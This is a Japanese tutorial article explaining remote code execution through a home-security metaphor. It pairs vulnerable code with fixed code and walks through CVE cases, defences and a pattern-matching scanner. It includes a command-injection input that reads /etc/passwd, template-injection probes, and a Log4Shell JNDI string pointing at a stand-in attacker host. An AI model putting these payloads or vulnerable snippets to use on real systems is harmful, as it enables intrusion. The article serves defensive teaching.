この記事の対象読者
- セキュリティ系のニュースで「RCE」という単語を見かけるが、正確に説明できない方
- Webアプリやサーバーを開発しているが、脆弱性対策を体系的に学んだことがない方
- CVEレポートを読んで「Critical: Remote Code Execution」と書いてあって背筋が凍った方
この記事で得られること
1. RCEとは何か — 概念と仕組みを「家の防犯」に例えて理解できる
2. RCEが発生する代表的な攻撃パターン5つを把握できる
3. 実際のCVE事例から「どこが危なかったのか」を読み解けるようになる
4. 自分のコード・環境で今日からできる防御策を実装できる
この記事で扱わないこと
- 特定の攻撃手法の詳細な再現手順(攻撃を助長しないため)
- バイナリレベルのエクスプロイト解析(pwn系CTFの領域)
- OSカーネルの脆弱性(今回はアプリケーション層に限定)
1. RCEとは何か — 家に例えると「合鍵を勝手に作られる」こと
まず結論から。
RCE(Remote Code Execution / リモートコード実行) とは、攻撃者がネットワーク越しに、対象のサーバーやアプリケーション上で 任意のコードを実行できてしまう 脆弱性のことです。
ここからは、サーバーを「家」に例えて理解していこう。この比喩は記事全体を通して使うので、頭の片隅に置いておいてほしい。
| 比喩(家) | 実際のサーバー |
|---|---|
| あなたの家 | サーバー / アプリケーション |
| 玄関の鍵 | 認証・認可の仕組み |
| 郵便受け | 外部からの入力(リクエスト、フォーム等) |
| 家の中でできること | サーバー上のコマンド実行 |
| 合鍵を勝手に作る | RCE(任意のコード実行) |
普通のWebアプリケーションは「郵便受け(入力)」からデータを受け取って、決められた処理だけを行う。これは、届いた手紙を読んで返事を書くようなものだ。
ところがRCE脆弱性があると、攻撃者は「郵便受けに特殊な手紙を入れるだけで、家の中に入り込み、好きなことができる」状態になる。
ファイルの読み書き、データベースの中身の窃取、他のサーバーへの攻撃の踏み台化、ランサムウェアのインストール......文字通り「何でもあり」だ。
だからこそ、脆弱性の深刻度を示す CVSS(Common Vulnerability Scoring System) において、RCEは最高レベルの Critical(9.0〜10.0) に分類されることが多い。
次のセクションでは、この「郵便受けから家の中に侵入する」手口の具体的なパターンを見ていこう。
2. RCEが発生する5つの攻撃パターン — 郵便受けの「穴」はどこにあるのか
RCEの原因は多岐にわたるが、アプリケーション層で頻出するパターンは大きく5つに分類できる。
家の防犯に例えるなら、それぞれ「郵便受けの穴の種類」が違うイメージだ。
パターン1: コマンドインジェクション — 郵便受けから直接指示を叫ぶ
ユーザー入力を OSコマンドの一部としてそのまま渡してしまう パターン。最も直感的で、最も初歩的なRCEだ。
# ❌ 危険なコード: ユーザー入力をそのままコマンドに渡している
import os
def ping_host(user_input):
os.system(f"ping -c 4 {user_input}")
# 攻撃者が入力: "8.8.8.8; cat /etc/passwd"
# → 実行される: ping -c 4 8.8.8.8; cat /etc/passwd
# ✅ 安全なコード: subprocessとリスト形式でコマンドを分離
import subprocess
def ping_host(user_input):
# シェルを経由しないので、; や && での連結が効かない
result = subprocess.run(
["ping", "-c", "4", user_input],
capture_output=True, text=True, timeout=10
)
return result.stdout
家に例えると、郵便受けに「ピザを届けて」と書いた手紙を入れたら家の住人がピザを注文してくれるサービスがあるとして、攻撃者が「ピザを届けて。あと金庫の中身を全部玄関に出して」と書くようなものだ。住人(サーバー)が手紙の内容を何も考えずに全部実行してしまう。
パターン2: デシリアライゼーション攻撃 — 小包に爆弾を仕込む
オブジェクトを復元(デシリアライズ)する処理で、悪意あるオブジェクトを復元させる パターン。
Pythonの pickle やJavaの ObjectInputStream が代表例だ。
# ❌ 危険なコード: 信頼できないデータをpickleで復元
import pickle
def load_user_data(data_bytes):
return pickle.loads(data_bytes) # 任意のコードが実行される可能性
# ✅ 安全なコード: JSONなど安全なフォーマットを使う
import json
def load_user_data(data_string):
return json.loads(data_string) # コード実行の余地がない
家の比喩でいえば、郵便受けに届いた「小包」を開けたら、中に仕込まれた装置が勝手に動き出すようなもの。小包(シリアライズされたデータ)の中身を検査せずに開封すると、攻撃者が仕込んだ処理が実行される。
パターン3: テンプレートインジェクション(SSTI) — 壁紙の模様に命令を隠す
サーバーサイドのテンプレートエンジン(Jinja2、Thymeleaf等)に、ユーザー入力がそのまま渡されるパターン。
# ❌ 危険なコード: ユーザー入力をテンプレート文字列として評価
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/greet")
def greet():
name = request.args.get("name", "World")
# ユーザー入力がテンプレートとして解釈される!
return render_template_string(f"Hello {name}!")
# 攻撃者が入力: {{config.items()}} や {{''.__class__.__mro__[1].__subclasses__()}}
# ✅ 安全なコード: テンプレート変数として渡す
@app.route("/greet")
def greet():
name = request.args.get("name", "World")
return render_template_string("Hello {{ name }}!", name=name)
家でいうと、壁紙のデザインを自由に指定できるサービスで、攻撃者が「壁紙の模様」の中に家のセキュリティシステムを無効化する命令を紛れ込ませるようなものだ。
パターン4: ファイルアップロード経由 — 宅配便で侵入者を送り込む
Webシェル(サーバー上で動くスクリプト)をアップロードさせるパターン。画像アップロード機能などが狙われやすい。
# ❌ 危険なコード: 拡張子チェックなし
@app.route("/upload", methods=["POST"])
def upload():
file = request.files["image"]
file.save(f"/var/www/uploads/{file.filename}") # shell.phpが置ける!
return "Uploaded"
# ✅ 安全なコード: ホワイトリスト + ランダムファイル名 + 実行権限なし
import uuid
import os
ALLOWED_EXTENSIONS = {".png", ".jpg", ".jpeg", ".gif", ".webp"}
@app.route("/upload", methods=["POST"])
def upload():
file = request.files["image"]
ext = os.path.splitext(file.filename)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
return "Invalid file type", 400
safe_name = f"{uuid.uuid4().hex}{ext}"
save_path = os.path.join("/var/www/uploads/", safe_name)
file.save(save_path)
os.chmod(save_path, 0o644) # 実行権限を付与しない
return "Uploaded"
宅配便(ファイルアップロード)で届いた荷物の中に、人が隠れていて、家の中に入り込むイメージだ。荷物の中身をちゃんと検査しないと侵入を許してしまう。
パターン5: 依存ライブラリの脆弱性 — 信頼した業者が実は泥棒だった
自分のコードには問題がなくても、使っているライブラリやフレームワークにRCE脆弱性が存在するパターン。Log4Shell(CVE-2021-44228)が有名だ。
家の比喩でいえば、「信頼して鍵を預けていた清掃業者(ライブラリ)が、実は合鍵を作って泥棒を手引きしていた」状況。自分の家の鍵がいくら頑丈でも、預けた相手に問題があれば意味がない。
PyPIパッケージや npm パッケージでも、悪意あるコードが混入した事例は後を絶たない。
依存ライブラリの脆弱性は 自分のコードレビューだけでは発見できない。定期的な依存関係の更新と脆弱性スキャンが不可欠だ。
以上5つのパターンを俯瞰すると、共通するのは 「外部からの入力を信頼しすぎている」 という一点だ。次は、実際に世界を震撼させたRCEの事例を見ていこう。
3. 実際のCVE事例 — 「家が破られた」リアルケース
ここでは、近年大きな影響を与えたRCE脆弱性を3つ取り上げ、「何が原因で」「どう悪用され」「どう修正されたか」を整理する。
事例1: Log4Shell(CVE-2021-44228)— 史上最悪級のRCE
| 項目 | 内容 |
|---|---|
| 対象 | Apache Log4j 2(Javaのログライブラリ) |
| CVSS | 10.0(最高値) |
| 影響範囲 | Java製アプリケーションのほぼ全て |
| 攻撃パターン | パターン5(依存ライブラリ) + パターン2(デシリアライゼーション) |
Log4jの JNDI Lookup 機能が、ログに書き込まれた文字列中の ${jndi:ldap://attacker.com/exploit} を解釈・実行してしまった。つまり、ログに残るあらゆる入力(ユーザーエージェント、フォーム入力、HTTPヘッダー等)が攻撃ベクターになった。
家の比喩でいえば、「家の防犯カメラの録画機能(ログ)に特殊な映像を映すだけで、カメラが勝手に外部に電話して泥棒を招き入れる」という悪夢のような状況だ。
事例2: Spring4Shell(CVE-2022-22965)
| 項目 | 内容 |
|---|---|
| 対象 | Spring Framework(Java) |
| CVSS | 9.8 |
| 影響範囲 | JDK 9以降 + Tomcat + WAR デプロイ環境 |
| 攻撃パターン | パターン3(テンプレート/バインディング) |
Spring MVCのデータバインディング機能を悪用し、クラスローダー経由でTomcatのアクセスログ設定を書き換え、Webシェルを設置する攻撃。
事例3: Next.jsミドルウェアバイパス(CVE-2025-29927)
| 項目 | 内容 |
|---|---|
| 対象 | Next.js |
| CVSS | 9.1 |
| 影響範囲 | ミドルウェアで認証・認可を実装している環境 |
| 攻撃パターン | 認証バイパス(RCEへの足がかり) |
x-middleware-subrequest ヘッダーを細工することでミドルウェアの処理をスキップできた。直接のRCEではないが、認証バイパスはRCEへの入口になり得る。家でいえば「玄関の鍵は頑丈だが、特定の合言葉を言うとドアが勝手に開く裏口があった」状態。
Next.jsのこの脆弱性については、別記事で詳しく解説している。
4. 今日からできるRCE防御策 — 家の防犯を固める
ここからは実践編。「家の防犯」を強化するために、開発者が今日から取り組める対策を体系的に整理する。
4.1 入力バリデーション — 郵便受けに金属探知機を付ける
すべての外部入力は「悪意がある」と仮定する。これがRCE防御の大原則だ。
# 入力バリデーションのユーティリティ例
import re
from typing import Optional
class InputValidator:
"""外部入力のバリデーション(ホワイトリスト方式)"""
@staticmethod
def validate_hostname(value: str) -> Optional[str]:
"""ホスト名のバリデーション"""
pattern = r'^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$'
if re.match(pattern, value) and len(value) <= 253:
return value
return None
@staticmethod
def validate_integer_range(value: str, min_val: int, max_val: int) -> Optional[int]:
"""整数値の範囲バリデーション"""
try:
num = int(value)
if min_val <= num <= max_val:
return num
except (ValueError, TypeError):
pass
return None
@staticmethod
def sanitize_filename(filename: str) -> str:
"""ファイル名のサニタイズ(パストラバーサル防止)"""
# ディレクトリトラバーサルを除去
filename = filename.replace("..", "").replace("/", "").replace("\\", "")
# 許可された文字のみ残す
return re.sub(r'[^a-zA-Z0-9._-]', '', filename)
4.2 依存ライブラリの継続的監視 — 業者の身元調査を怠らない
# Python: pip-auditで脆弱性スキャン
pip install pip-audit --break-system-packages
pip-audit
# Node.js: npm auditで脆弱性スキャン
npm audit
# 自動修正(可能な範囲で)
npm audit fix
# GitHub Actions: 依存関係の定期スキャン(CI環境例)
# .github/workflows/security-scan.yml
name: Security Scan
on:
schedule:
- cron: '0 9 * * 1' # 毎週月曜 9:00 UTC
push:
branches: [main]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Python Audit
run: |
pip install pip-audit
pip-audit -r requirements.txt
- name: Node Audit
run: npm audit --audit-level=high
4.3 サンドボックス化 — 家の中に金庫室を作る
たとえRCEが成功しても、被害を最小限に抑える「多層防御」の考え方だ。
Dockerコンテナを使えば、アプリケーションを隔離された環境で実行できる。家の中に「金庫室」を作り、たとえ侵入者が家に入っても金庫室の中の貴重品には手が出せない状態を作る。
# docker-compose.yml: セキュリティを意識した設定
services:
webapp:
image: myapp:latest
# --- セキュリティ設定 ---
read_only: true # ファイルシステムを読み取り専用に
security_opt:
- no-new-privileges:true # 特権昇格を禁止
cap_drop:
- ALL # 全てのLinux capabilityを除去
cap_add:
- NET_BIND_SERVICE # 必要最小限だけ付与
tmpfs:
- /tmp # 一時ファイルはtmpfsに限定
deploy:
resources:
limits:
memory: 512M # メモリ制限
cpus: '1.0' # CPU制限
Docker と Docker Compose の基礎については、それぞれ別記事で詳しく解説している。コンテナ技術自体が初めての方はそちらも参照してほしい。
4.4 WAF(Web Application Firewall)— 家の前に警備員を立てる
アプリケーションの前段にWAFを置くことで、既知の攻撃パターンをブロックできる。
| WAF | 種別 | 特徴 |
|---|---|---|
| AWS WAF | クラウド | AWSインフラとのネイティブ統合 |
| Cloudflare WAF | クラウド | CDNと一体化、導入が容易 |
| ModSecurity | OSS | Apache/Nginx用、柔軟なルール設定 |
ただし、WAFは「警備員」であって「家の鍵」ではない。WAFをすり抜ける攻撃は常に存在するため、アプリケーション側の根本対策が最優先だ。
5. RCEを検出するためのセルフチェックスクリプト
自分のプロジェクトにRCEリスクがないか、簡易的にチェックするPythonスクリプトを用意した。
#!/usr/bin/env python3
"""
RCE リスク簡易スキャナー
対象: Pythonプロジェクトのソースコード
用途: 危険なパターンの検出(誤検知あり、目視確認が必要)
"""
import os
import re
import sys
from dataclasses import dataclass
from pathlib import Path
@dataclass
class Finding:
file: str
line_num: int
line: str
pattern: str
severity: str
# 検出パターン(正規表現)
PATTERNS = [
{
"name": "os.system() の使用",
"regex": r'\bos\.system\s*\(',
"severity": "CRITICAL",
},
{
"name": "subprocess + shell=True",
"regex": r'subprocess\.\w+\([^)]*shell\s*=\s*True',
"severity": "HIGH",
},
{
"name": "eval() の使用",
"regex": r'\beval\s*\(',
"severity": "CRITICAL",
},
{
"name": "exec() の使用",
"regex": r'\bexec\s*\(',
"severity": "CRITICAL",
},
{
"name": "pickle.loads() の使用",
"regex": r'pickle\.loads?\s*\(',
"severity": "HIGH",
},
{
"name": "render_template_string() の使用",
"regex": r'render_template_string\s*\(',
"severity": "MEDIUM",
},
{
"name": "__import__() の使用",
"regex": r'__import__\s*\(',
"severity": "HIGH",
},
]
def scan_file(filepath: str) -> list[Finding]:
findings = []
try:
with open(filepath, "r", encoding="utf-8", errors="ignore") as f:
for i, line in enumerate(f, 1):
for pat in PATTERNS:
if re.search(pat["regex"], line):
findings.append(Finding(
file=filepath,
line_num=i,
line=line.strip(),
pattern=pat["name"],
severity=pat["severity"],
))
except (OSError, PermissionError):
pass
return findings
def scan_directory(target_dir: str) -> list[Finding]:
all_findings = []
for path in Path(target_dir).rglob("*.py"):
if ".venv" in path.parts or "node_modules" in path.parts:
continue
all_findings.extend(scan_file(str(path)))
return all_findings
def main():
target = sys.argv[1] if len(sys.argv) > 1 else "."
print(f"[*] Scanning: {target}")
findings = scan_directory(target)
if not findings:
print("[✓] 危険なパターンは検出されませんでした")
return
print(f"\n[!] {len(findings)} 件の潜在的リスクを検出\n")
for f in sorted(findings, key=lambda x: x.severity):
icon = "🔴" if f.severity == "CRITICAL" else "🟠" if f.severity == "HIGH" else "🟡"
print(f" {icon} [{f.severity}] {f.pattern}")
print(f" {f.file}:{f.line_num}")
print(f" > {f.line}\n")
if __name__ == "__main__":
main()
このスクリプトは 静的パターンマッチング であり、偽陽性(安全なコードを検出)や偽陰性(危険なコードを見逃す)が発生する。本格的なセキュリティ監査には Bandit(Python用)や Semgrep 等の専用ツールを使うこと。
6. よくあるエラーと対処法 — 防犯設備のトラブルシューティング
RCE対策を実装する際に遭遇しやすいエラーを整理した。
| エラー / 状況 | 原因 | 対処法 |
|---|---|---|
subprocess.CalledProcessError |
コマンドが0以外の終了コードを返した |
try/except で捕捉し、エラー内容をログに記録。ユーザーには詳細を返さない |
| WAFが正常リクエストをブロック | ルールが厳しすぎる(偽陽性) | ホワイトリストルールを追加。ログで誤検知パターンを特定 |
pickle.UnpicklingError |
破損または悪意あるデータ | そもそも pickle を外部入力に使わない。json に切り替え |
| Docker内で権限不足エラー |
cap_drop: ALL が厳しすぎる |
必要な capability だけ cap_add で追加。最小権限原則を維持 |
pip-audit が古い脆弱性を報告 |
ライブラリのバージョンが古い |
pip install --upgrade [パッケージ] で更新。破壊的変更に注意 |
7. ユースケース別 防御ガイド
ユースケース1: Webアプリケーション開発者
最優先で対策すべきポイント:
- すべてのユーザー入力にバリデーションを実装(ホワイトリスト方式)
- テンプレートエンジンでユーザー入力をテンプレート文字列として評価しない
- ファイルアップロードは拡張子ホワイトリスト + ランダムファイル名 + 実行権限除去
ユースケース2: ローカルLLM / AI開発者
ローカルLLM環境は「ローカルだから安全」と思われがちだが、MCPサーバーやAPIエンドポイントを外部に公開した瞬間にRCEリスクが発生する。
最優先で対策すべきポイント:
-
Ollama や vLLM のAPIを
0.0.0.0でリッスンさせない(127.0.0.1に限定) - プロンプトインジェクション経由でのコード実行に注意(エージェント型AIは特に危険)
- モデルファイル(GGUF等)は信頼できるソース(HuggingFace公式等)からのみ取得
ユースケース3: インフラ / DevOpsエンジニア
最優先で対策すべきポイント:
-
Dockerコンテナは
read_only+no-new-privileges+cap_drop: ALLをデフォルトに -
Kubernetesの Pod Security Standards を
restrictedに設定 - ネットワークセグメンテーションで爆発半径を限定する
8. 学習ロードマップ — 防犯レベルを段階的に上げる
| レベル | 対象者 | 学ぶべきこと | 推奨リソース |
|---|---|---|---|
| Level 1 | 全開発者 | RCEの概念、OWASP Top 10 | OWASP公式サイト、この記事 |
| Level 2 | Webアプリ開発者 | 入力バリデーション、依存関係管理、コンテナセキュリティ | Bandit / Semgrep / Trivy |
| Level 3 | セキュリティ担当者 | WAF運用、ペネトレーションテスト、インシデントレスポンス | PortSwigger Web Security Academy |
まとめ
RCEは、攻撃者がネットワーク越しにサーバー上で任意のコードを実行できる、最も深刻な脆弱性クラスだ。「家の防犯」に例えれば、郵便受けから合鍵を作られて、家の中で好き放題されるようなもの。
対策の本質は 「外部からの入力を絶対に信用しない」 というたった一つの原則に集約される。
個人的な所感として、RCE関連のCVEを追いかけていると、根本原因の多くは「まさかこの入力が悪用されるとは思わなかった」という想定外だ。Log4jも「ログに書き込む文字列」がまさかの攻撃ベクターだった。防御側は全ての入口を守る必要があるのに、攻撃側は一つ穴を見つければいい。この非対称性が、セキュリティの難しさであり面白さでもある。
だからこそ、「自分のコードに限って大丈夫」と思わず、今日この記事で紹介したチェックスクリプトを一度走らせてみてほしい。何か見つかったら...まあ、それは「見つかってよかった」ということで...orz
関連記事
AIセキュリティシリーズの他の記事もぜひ:
ローカルLLM環境のセキュリティについても別記事で解説している: